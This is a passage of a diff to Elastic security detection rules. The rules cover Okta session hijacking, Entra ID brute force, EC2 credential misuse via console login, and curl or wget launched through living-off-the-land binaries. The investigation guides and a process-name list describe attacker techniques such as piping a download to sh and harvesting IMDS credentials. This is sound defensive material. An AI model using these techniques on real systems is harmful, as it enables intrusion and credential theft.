may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.authentication_context.external_session_id` values can be used to pivot into the raw authentication events related to this alert.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - Authentication events have been filtered out to focus on Okta activity via established sessions.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n- Aggregate by `okta.actor.alternate_id` and `event.action` to determine the type of actions that are being performed by the actor(s) involved in this action.\n - If various activity is reported that seems to indicate actions from separate users, consider deactivating the user's account temporarily.\n\n### False positive analysis:\n- It is very rare that a legitimate user would have multiple device token hashes for a single Okta session as DT hashes do not change after an authenticated session is established.\n\n### Response and remediation:\n- Consider stopping all sessions for the user(s) involved in this action.\n- If this does not appear to be a false positive, consider resetting passwords for the users involved and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", - "query": "FROM logs-okta*\n| WHERE\n event.dataset == \"okta.system\"\n // ignore authentication events where session and device token hash change often\n AND NOT event.action IN (\n \"policy.evaluate_sign_on\",\n \"user.session.start\",\n \"user.authentication.sso\"\n )\n // ignore Okta system events and only allow registered users\n AND (\n okta.actor.alternate_id != \"system@okta.com\"\n AND okta.actor.alternate_id RLIKE \"[^@\\\\s]+\\\\@[^@\\\\s]+\"\n )\n AND okta.authentication_context.external_session_id != \"unknown\"\n| KEEP event.action, okta.actor.alternate_id, okta.authentication_context.external_session_id, okta.debug_context.debug_data.dt_hash\n| STATS\n dt_hash_counts = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash) BY\n okta.actor.alternate_id,\n okta.authentication_context.external_session_id\n| WHERE\n dt_hash_counts >= 2\n| SORT\n dt_hash_counts DESC\n", - "references": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", - "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", - "https://support.okta.com/help/s/article/session-hijacking-attack-definition-damage-defense?language=en_US", - "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", - "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" - ], - "risk_score": 47, - "rule_id": "cc382a2e-7e52-11ee-9aac-f661ea17fbcd", - "setup": "## Setup\n\nThe Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "medium", - "tags": [ - "Use Case: Identity and Access Audit", - "Data Source: Okta", - "Tactic: Credential Access", - "Domain: SaaS", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1539", - "name": "Steal Web Session Cookie", - "reference": "https://attack.mitre.org/techniques/T1539/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 306 - }, - "id": "cc382a2e-7e52-11ee-9aac-f661ea17fbcd_306", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_3.json b/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_3.json deleted file mode 100644 index 12759b4d30b..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_3.json +++ /dev/null @@ -1,82 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts.", - "false_positives": [ - "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." - ], - "from": "now-60m", - "interval": "15m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Entra ID Sign-In Brute Force Activity", - "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Sign-In Brute Force Activity\n\nThis rule detects brute-force authentication activity in Entra ID sign-in logs. It classifies failed sign-in attempts into behavior types such as password spraying, credential stuffing, or password guessing. The classification (`bf_type`) helps prioritize triage and incident response.\n\n### Possible investigation steps\n\n- Review `bf_type`: Determines the brute-force technique being used (`password_spraying`, `credential_stuffing`, or `password_guessing`).\n- Examine `user_id_list`: Identify if high-value accounts (e.g., administrators, service principals, federated identities) are being targeted.\n- Review `login_errors`: Repetitive error types like `\"Invalid Grant\"` or `\"User Not Found\"` suggest automated attacks.\n- Check `ip_list` and `source_orgs`: Investigate if the activity originates from suspicious infrastructure (VPNs, hosting providers, etc.).\n- Validate `unique_ips` and `countries`: Geographic diversity and IP volume may indicate distributed or botnet-based attacks.\n- Compare `total_attempts` vs `duration_seconds`: High rate of failures in a short time period implies automation.\n- Analyze `user_agent.original` and `device_detail_browser`: User agents like `curl`, `Python`, or generic libraries may indicate scripting tools.\n- Investigate `client_app_display_name` and `incoming_token_type`: Detect potential abuse of legacy or unattended login mechanisms.\n- Inspect `target_resource_display_name`: Understand what application or resource the attacker is trying to access.\n- Pivot using `session_id` and `device_detail_device_id`: Determine if a device is targeting multiple accounts.\n- Review `conditional_access_status`: If not enforced, ensure Conditional Access policies are scoped correctly.\n\n### False positive analysis\n\n- Legitimate automation (e.g., misconfigured scripts, sync processes) can trigger repeated failures.\n- Internal red team activity or penetration tests may mimic brute-force behaviors.\n- Certain service accounts or mobile clients may generate repetitive sign-in noise if not properly configured.\n\n### Response and remediation\n\n- Notify your identity security team for further analysis.\n- Investigate and lock or reset impacted accounts if compromise is suspected.\n- Block offending IPs or ASNs at the firewall, proxy, or using Conditional Access.\n- Confirm MFA and Conditional Access are enforced for all user types.\n- Audit targeted accounts for credential reuse across services.\n- Implement account lockout or throttling for failed sign-in attempts where possible.\n", - "query": "FROM logs-azure.signinlogs*\n\n// Define a time window for grouping and maintain the original event timestamp\n| EVAL\n time_window = DATE_TRUNC(15 minutes, @timestamp),\n event_time = @timestamp\n\n// Filter relevant failed authentication events with specific error codes\n| WHERE event.dataset == \"azure.signinlogs\"\n AND event.category == \"authentication\"\n AND azure.signinlogs.category IN (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n AND event.outcome == \"failure\"\n AND azure.signinlogs.properties.authentication_requirement == \"singleFactorAuthentication\"\n AND azure.signinlogs.properties.status.error_code IN (\n 50034, // UserAccountNotFound\n 50126, // InvalidUsernameOrPassword\n 50055, // PasswordExpired\n 50056, // InvalidPassword\n 50057, // UserDisabled\n 50064, // CredentialValidationFailure\n 50076, // MFARequiredButNotPassed\n 50079, // MFARegistrationRequired\n 50105, // EntitlementGrantsNotFound\n 70000, // InvalidGrant\n 70008, // ExpiredOrRevokedRefreshToken\n 70043, // BadTokenDueToSignInFrequency\n 80002, // OnPremisePasswordValidatorRequestTimedOut\n 80005, // OnPremisePasswordValidatorUnpredictableWebException\n 50144, // InvalidPasswordExpiredOnPremPassword\n 50135, // PasswordChangeCompromisedPassword\n 50142, // PasswordChangeRequiredConditionalAccess\n 120000, // PasswordChangeIncorrectCurrentPassword\n 120002, // PasswordChangeInvalidNewPasswordWeak\n 120020 // PasswordChangeFailure\n )\n AND azure.signinlogs.properties.user_principal_name IS NOT NULL AND azure.signinlogs.properties.user_principal_name != \"\"\n AND user_agent.original != \"Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0\"\n AND source.`as`.organization.name != \"MICROSOFT-CORP-MSN-AS-BLOCK\"\n\n// Aggregate statistics for behavioral pattern analysis\n| STATS\n authentication_requirement = VALUES(azure.signinlogs.properties.authentication_requirement),\n client_app_id = VALUES(azure.signinlogs.properties.app_id),\n client_app_display_name = VALUES(azure.signinlogs.properties.app_display_name),\n target_resource_id = VALUES(azure.signinlogs.properties.resource_id),\n target_resource_display_name = VALUES(azure.signinlogs.properties.resource_display_name),\n conditional_access_status = VALUES(azure.signinlogs.properties.conditional_access_status),\n device_detail_browser = VALUES(azure.signinlogs.properties.device_detail.browser),\n device_detail_device_id = VALUES(azure.signinlogs.properties.device_detail.device_id),\n device_detail_operating_system = VALUES(azure.signinlogs.properties.device_detail.operating_system),\n incoming_token_type = VALUES(azure.signinlogs.properties.incoming_token_type),\n risk_state = VALUES(azure.signinlogs.properties.risk_state),\n session_id = VALUES(azure.signinlogs.properties.session_id),\n user_id = VALUES(azure.signinlogs.properties.user_id),\n user_principal_name = VALUES(azure.signinlogs.properties.user_principal_name),\n result_description = VALUES(azure.signinlogs.result_description),\n result_signature = VALUES(azure.signinlogs.result_signature),\n result_type = VALUES(azure.signinlogs.result_type),\n\n unique_users = COUNT_DISTINCT(azure.signinlogs.properties.user_id),\n user_id_list = VALUES(azure.signinlogs.properties.user_id),\n login_errors = VALUES(azure.signinlogs.result_description),\n unique_login_errors = COUNT_DISTINCT(azure.signinlogs.result_description),\n error_codes = VALUES(azure.signinlogs.properties.status.error_code),\n unique_error_codes = COUNT_DISTINCT(azure.signinlogs.properties.status.error_code),\n request_types = VALUES(azure.signinlogs.properties.incoming_token_type),\n app_names = VALUES(azure.signinlogs.properties.app_display_name),\n ip_list = VALUES(source.ip),\n unique_ips = COUNT_DISTINCT(source.ip),\n source_orgs = VALUES(source.`as`.organization.name),\n countries = VALUES(source.geo.country_name),\n unique_country_count = COUNT_DISTINCT(source.geo.country_name),\n unique_asn_orgs = COUNT_DISTINCT(source.`as`.organization.name),\n first_seen = MIN(@timestamp),\n last_seen = MAX(@timestamp),\n total_attempts = COUNT()\nBY time_window\n\n// Determine brute force behavior type based on statistical thresholds\n| EVAL\n duration_seconds = DATE_DIFF(\"seconds\", first_seen, last_seen),\n bf_type = CASE(\n // Many users, relatively few distinct login errors, distributed over multiple IPs (but not too many),\n // and happens quickly. Often bots using leaked credentials.\n unique_users >= 10 AND total_attempts >= 30 AND unique_login_errors <= 3\n AND unique_ips >= 5\n AND duration_seconds <= 600\n AND unique_users > unique_ips,\n \"credential_stuffing\",\n\n // One password against many users. Single error (e.g., \"InvalidPassword\"), not necessarily fast.\n unique_users >= 15 AND unique_login_errors == 1 AND total_attempts >= 15 AND duration_seconds <= 1800,\n \"password_spraying\",\n\n // One user targeted repeatedly (same error), OR extremely noisy pattern from many IPs.\n (unique_users == 1 AND unique_login_errors == 1 AND total_attempts >= 30 AND duration_seconds <= 300)\n OR (unique_users <= 3 AND unique_ips > 30 AND total_attempts >= 100),\n \"password_guessing\",\n\n // everything else\n \"other\"\n )\n\n// Only keep columns necessary for detection output/reporting\n| KEEP\n time_window, bf_type, duration_seconds, total_attempts, first_seen, last_seen,\n unique_users, user_id_list, login_errors, unique_login_errors,\n unique_error_codes, error_codes, request_types, app_names,\n ip_list, unique_ips, source_orgs, countries,\n unique_country_count, unique_asn_orgs,\n authentication_requirement, client_app_id, client_app_display_name,\n target_resource_id, target_resource_display_name, conditional_access_status,\n device_detail_browser, device_detail_device_id, device_detail_operating_system,\n incoming_token_type, risk_state, session_id, user_id,\n user_principal_name, result_description, result_signature, result_type\n\n// Remove anything not classified as credential attack activity\n| WHERE bf_type != \"other\"\n", - "references": [ - "https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign", - "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/", - "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", - "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", - "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", - "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", - "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", - "https://github.com/0xZDH/Omnispray", - "https://github.com/0xZDH/o365spray" - ], - "risk_score": 47, - "rule_id": "cca64114-fb8b-11ef-86e2-f661ea17fbce", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.001", - "name": "Password Guessing", - "reference": "https://attack.mitre.org/techniques/T1110/001/" - }, - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - }, - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "cca64114-fb8b-11ef-86e2-f661ea17fbce_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d1e5e410-3e34-412e-9b1f-dd500b3b55cd_5.json b/packages/security_detection_engine/kibana/security_rule/d1e5e410-3e34-412e-9b1f-dd500b3b55cd_5.json new file mode 100644 index 00000000000..2769c578237 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d1e5e410-3e34-412e-9b1f-dd500b3b55cd_5.json @@ -0,0 +1,182 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects successful AWS Management Console or federation login activity performed using an EC2 instance\u2019s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful \"ConsoleLogin\" or \"GetSigninToken\" event using a session pattern that includes \"i-\" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance\u2019s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account.", + "event_category_override": "event.type", + "false_positives": [ + "This is very uncommon behavior and should result in minimal false positives, ensure validity of the triggered event and include exceptions where necessary." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS EC2 Instance Console Login via Assumed Role", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Instance Console Login via Assumed Role\n\nThis rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access \u2014 **not** for interactive console sessions. When an attacker gains access to an instance\u2019s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking.\n\n#### Possible investigation steps\n\n- **Identify the source and actor**\n - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern).\n - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications.\n - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious).\n\n- **Correlate surrounding activity**\n - Pivot in Timeline to view the sequence of events leading up to the login, including:\n - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`)\n - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance.\n - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`).\n\n- **Assess IAM role exposure**\n - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions.\n - Evaluate whether the role grants console access or permissions beyond what that workload normally requires.\n - Check for any recent changes to that role\u2019s trust policy or attached policies.\n\n- **Validate authorization**\n - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console.\n - If no legitimate activity can explain the login, treat the credentials as compromised.\n\n### False positive analysis\n\nThis is very uncommon behavior. \nKnown legitimate causes include:\n- AWS or internal security automation that programmatically initiates console sessions for validation or testing.\n- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance.\n- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios.\n\nFor any other occurrence, treat the alert as potentially malicious. \nValidate through:\n- The originating instance\u2019s purpose and owner.\n- Known automation patterns in `user_agent.original`.\n- The timestamp alignment with planned testing or security validation.\n\n### Response and remediation\n\n- **Immediate containment**\n - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials).\n - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse.\n - Invalidate active console sessions via AWS CLI or the AWS Console.\n\n- **Investigation and scoping**\n - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours.\n - Determine if additional roles or instances show similar `ConsoleLogin` patterns.\n - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users).\n\n- **Recovery and hardening**\n - Rotate all credentials for affected roles and users.\n - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata.\n - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"signin.amazonaws.com\"\n and event.action in (\"ConsoleLogin\", \"GetSigninToken\")\n and event.outcome == \"success\"\n and aws.cloudtrail.user_identity.type == \"AssumedRole\"\n and stringContains (user.id, \":i-\")\n", + "references": [ + "https://redcanary.com/blog/aws-sts/", + "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "d1e5e410-3e34-412e-9b1f-dd500b3b55cd", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS EC2", + "Data Source: AWS STS", + "Data Source: AWS Sign-In", + "Use Case: Identity and Access Audit", + "Tactic: Lateral Movement", + "Tactic: Credential Access", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/", + "subtechnique": [ + { + "id": "T1021.007", + "name": "Cloud Services", + "reference": "https://attack.mitre.org/techniques/T1021/007/" + } + ] + }, + { + "id": "T1550", + "name": "Use Alternate Authentication Material", + "reference": "https://attack.mitre.org/techniques/T1550/", + "subtechnique": [ + { + "id": "T1550.001", + "name": "Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1550/001/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.004", + "name": "Cloud Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1552", + "name": "Unsecured Credentials", + "reference": "https://attack.mitre.org/techniques/T1552/", + "subtechnique": [ + { + "id": "T1552.005", + "name": "Cloud Instance Metadata API", + "reference": "https://attack.mitre.org/techniques/T1552/005/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 5 + }, + "id": "d1e5e410-3e34-412e-9b1f-dd500b3b55cd_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d1ee711a-a3ba-4d73-b5ab-84cab5b37fb3_1.json b/packages/security_detection_engine/kibana/security_rule/d1ee711a-a3ba-4d73-b5ab-84cab5b37fb3_1.json new file mode 100644 index 00000000000..4979e7c7973 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d1ee711a-a3ba-4d73-b5ab-84cab5b37fb3_1.json @@ -0,0 +1,175 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the execution of curl or wget binaries through a GTFOBin (living-off-the-land) technique in Linux environments. Attackers may exploit these utilities to download and execute malicious files from the internet while attempting to evade detection. The rule specifically targets binaries that are capable of executing shell commands directly from the proxied binary, rather than just spawning a shell.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-endpoint.events.network*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Curl or Wget Egress Network Connection via LoLBin", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Curl or Wget Egress Network Connection via LoLBin\n\nThis detects outbound connections from curl or wget when they are launched via living-off-the-land binaries that can execute shell commands, signaling proxy execution to mask activity. It matters because attackers abuse trusted utilities to fetch payloads, stage command-and-control, or exfiltrate while evading simple controls. Example: an attacker uses awk or busybox to run curl to an external host, downloads a script into /tmp, pipes it to sh, or saves a binary and runs it under the proxy\u2019s context.\n\n### Possible investigation steps\n\n- Pull the full process tree around the event and review the parent LoLBin\u2019s command line for signs of proxy execution such as pipelines to a shell, write-to-file flags (-o/-O), exfil options (--data/--upload-file), or TLS bypass (-k), noting working directory and effective user for context.\n- Identify any paths or filenames used by the transfer and inspect the filesystem for newly created or modified artifacts in temp locations, recording hashes, timestamps, permission changes (e.g., chmod +x), and any immediate execution or persistence actions.\n- Correlate the outbound destination with threat intelligence and internal allowlists, examine DNS/SNI/certificate details, and flag unusual ports or use of proxies/TOR that suggest evasion.\n- Validate whether the parent LoLBin and its execution path align with legitimate software or maintenance workflows on the host, and broaden the search for similar executions across hosts within the same timeframe.\n- Hunt for follow-on activity including new listeners, reverse shells, additional outbound beacons, or other GTFOBins invoking curl/wget, and tie findings back to the same domains/IPs or dropped filesystem artifacts.\n\n### False positive analysis\n\n- During legitimate dependency installation or build workflows, pip/npm/gem/bundler/yarn may run post-install hooks that invoke curl/wget to fetch supplemental files from public mirrors, with the package manager as the parent process.\n- Operations or maintenance tasks may use watch/busybox/run-parts/awk to proxy execution of curl/wget for external availability checks or bootstrap downloads in init scripts, producing short-lived egress that matches the LoLBin-parent pattern.\n\n### Response and remediation\n\n- Immediately isolate the affected Linux host or apply an outbound block, terminate active curl/wget and their invoking LoLBins (e.g., awk, busybox, run-parts), and add temporary firewall/DNS rules to deny the contacted domain/IP and port.\n- Enumerate and delete files fetched via curl/wget (-o/-O) in /tmp, /var/tmp, /dev/shm, and user home (including scripts piped to sh), remove any persistence added (new cron entries, systemd units, rc.local edits), and record hashes/paths for evidence.\n- Rotate credentials or tokens exposed via -u/--header or ~/.netrc, purge malicious proxy settings and config files (http_proxy/https_proxy environment, ~/.wgetrc, ~/.curlrc), and revoke SSH keys or cookies discovered alongside the downloads.\n- Restore the system by reimaging or reinstalling if tampering is suspected, re-enable egress only after validation, verify application functionality, and re-enroll the endpoint with EDR while limiting curl/wget usage to approved service accounts.\n- Escalate to incident response if curl/wget is piped to a shell (e.g., curl https://... | sh), a downloaded binary is made executable and run (chmod +x followed by execution), the destination matches known malicious infrastructure, or torify/torsocks/proxy chaining is used.\n- Harden by mounting /tmp, /var/tmp, and /dev/shm with noexec/nosuid/nodev, enforcing AppArmor/SELinux to restrict curl/wget network access and file writes, constraining GTFOBins from spawning shells, and requiring egress via a proxy allowlist with TLS validation (disallow --insecure/-k).\n", + "query": "sequence with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name in (\n \"aa-exec\", \"aoss\", \"awk\", \"run-parts\", \"bundle\", \"bundler\", \"busctl\", \"busybox\", \"byebug\", \"c89\", \"c99\", \"cabal\",\n \"capsh\", \"cdist\", \"certbot\", \"check_by_ssh\", \"choom\", \"cobc\", \"cowsay\", \"cowthink\", \"cpio\", \"cpulimit\", \"csvtool\",\n \"dc\", \"distcc\", \"easy_install\", \"emacs\", \"enscript\", \"expect\", \"find\", \"flock\", \"gawk\", \"gcc\", \"gdb\", \"gem\",\n \"genie\", \"ghc\", \"ghci\", \"gimp\", \"grc\", \"gtester\", \"ionice\", \"irb\", \"jjs\", \"jrunscript\", \"knife\", \"latex\",\n \"latexmk\", \"lftp\", \"logsave\", \"ltrace\", \"mail\", \"mawk\", \"msgfilter\", \"multitime\", \"mysql\", \"nawk\", \"neofetch\",\n \"nice\", \"nohup\", \"npm\", \"nroff\", \"nsenter\", \"octave\", \"openvpn\", \"pandoc\", \"pdb\", \"pdflatex\", \"pdftex\", \"perf\",\n \"pexec\", \"pip\", \"rake\", \"rc\", \"rlwrap\", \"rpmdb\", \"rpmquery\", \"rpmverify\", \"rsync\", \"rtorrent\", \"runscript\",\n \"rview\", \"rvim\", \"script\", \"scrot\", \"sed\", \"service\", \"setarch\", \"setlock\", \"sg\", \"socat\", \"softlimit\", \"split\",\n \"sqlite3\", \"sqlmap\", \"sshpass\", \"start-stop-daemon\", \"stdbuf\", \"tar\", \"taskset\",\n \"tasksh\", \"tex\", \"time\", \"tmate\", \"torify\", \"torsocks\", \"tshark\", \"valgrind\", \"vi\", \"view\",\n \"vim\", \"vimdiff\", \"watch\", \"xdg-user-dir\", \"xdotool\", \"xelatex\", \"xetex\", \"yarn\", \"zip\", \"zypper\"\n ) and not (\n process.executable == \"/tmp/newroot/unshare\" or\n process.parent.args in (\n \"/etc/.agent/server_agent.sh\", \"/nessus/update2.sh\", \"/etc/cron.daily/spamassassin\", \"/etc/cron.daily/rkhunter\",\n \"buildkit-runc\", \"/usr/sbin/spamassassin-maint\"\n ) or\n process.parent.executable like (\n \"/usr/local/bin/fail2ban_cluster.sh\", \"/script/downloadArtifacts.sh\", \"/etc/cron.daily/rkhunter\",\n \"/usr/bin/bbb-conf\", \"/usr/sbin/sos\", \"/usr/bin/make\", \"/var/lib/amagent/*\", \"/etc/cron.daily/spamassassin\",\n \"/usr/lib/cron/run-crons\", \"/usr/sbin/spamassassin-maint\", \"/usr/sbin/oracle-libs-update\"\n ) or\n process.parent.name in (\"rkhunter\", \"vivaldi-stable.postinst\", \"runc\") or\n process.parent.command_line == \"runc init\" or\n process.parent.command_line like \"/home/*/bin/DownloadExchangeFiles_mcx*\" or\n process.command_line in (\n \"nice -10 /opt/aws/discovery/update\", \"xargs -n 1 curl -o lpsc -L\", \"/usr/bin/ruby /usr/bin/rake run:server_hooks\",\n \"nohup ./update2.sh\"\n ) or\n process.parent.command_line in (\"/bin/sh -c nice -n 15 $HOME/bin/cron.pl > /dev/null 2>&1\", \"/bin/sh /etc/cron.daily/rkhunter\") or\n process.command_line like 